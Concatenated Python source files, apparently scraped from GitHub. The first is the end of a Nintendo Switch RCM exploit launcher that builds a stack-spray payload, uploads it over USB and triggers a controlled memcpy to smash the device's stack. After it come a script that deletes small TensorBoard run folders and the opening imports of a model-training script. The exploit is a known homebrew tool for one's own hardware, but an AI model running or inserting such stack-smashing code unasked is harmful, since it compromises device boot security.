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jblitzar
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github-python

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# Fit a collection of the payload before the stack spray...
padding_size = STACK_SPRAY_START - PAYLOAD_START_ADDR
payload += target_payload[:padding_size]
# ... insert the stack spray...
repeat_count = int((STACK_SPRAY_END - STACK_SPRAY_START) / 4)
payload += (RCM_PAYLOAD_ADDR.to_bytes(4, byteorder='little') * repeat_count)
# ... and follow the stack spray with the remainder of the payload.
payload += target_payload[padding_size:]
# Pad the payload to fill a USB request exactly, so we don't send a short
# packet and break out of the RCM loop.
payload_length = len(payload)
padding_size = 0x1000 - (payload_length % 0x1000)
payload += (b'\0' * padding_size)
# Check to see if our payload packet will fit inside the RCM high buffer.
# If it won't, error out.
if len(payload) > length:
size_over = len(payload) - length
print("ERROR: Payload is too large to be submitted via RCM. ({} bytes larger than max).".format(size_over))
sys.exit(errno.EFBIG)
# Send the constructed payload, which contains the command, the stack smashing
# values, the Intermezzo relocation stub, and the final payload.
print("Uploading payload...")
switch.write(payload)
# The RCM backend alternates between two different DMA buffers. Ensure we're
# about to DMA into the higher one, so we have less to copy during our attack.
switch.switch_to_highbuf()
# Smash the device's stack, triggering the vulnerability.
print("Smashing the stack...")
try:
switch.trigger_controlled_memcpy()
except ValueError as e:
print(str(e))
except IOError:
print("The USB device stopped responding-- sure smells like we've smashed its stack. :)")
print("Launch complete!")
# <FILESEP>
from argparse import ArgumentParser
import shutil
from tensorboard.backend.event_processing.event_file_inspector import get_inspection_units, print_dict, get_dict_to_print
"""
Deletes all folders with small tensorboard run files
"""
parser = ArgumentParser('delete small runs')
parser.add_argument('--logdir', type=str, default='.')
parser.add_argument('--delete_smaller_than', type=int)
args = parser.parse_args()
run_len = {}
inspect_units = get_inspection_units(logdir=args.logdir)
for run in inspect_units:
path = run[0]
max_length = 0
for key, value in get_dict_to_print(run.field_to_obs).items():
if value is not None:
length = value['max_step']
if max_length < length:
max_length = length
run_len[path] = max_length
for run, length in run_len.items():
if args.delete_smaller_than is None:
print(f'run:{run} length:{length}')
else:
if length < args.delete_smaller_than:
try:
print(f'{run} is {length} and was deleted')
shutil.rmtree(run)
except:
print(f"OS didn't let us delete {run}")
# <FILESEP>
import json
import os
import random
import yaml
import argparse
from transformers import AutoTokenizer, AutoConfig, AutoModelForCausalLM
from transformers import BloomConfig, BloomForCausalLM
from transformers import LlamaForCausalLM, LlamaTokenizer, LlamaConfig
import torch
import deepspeed
from datasets import *
parser = argparse.ArgumentParser()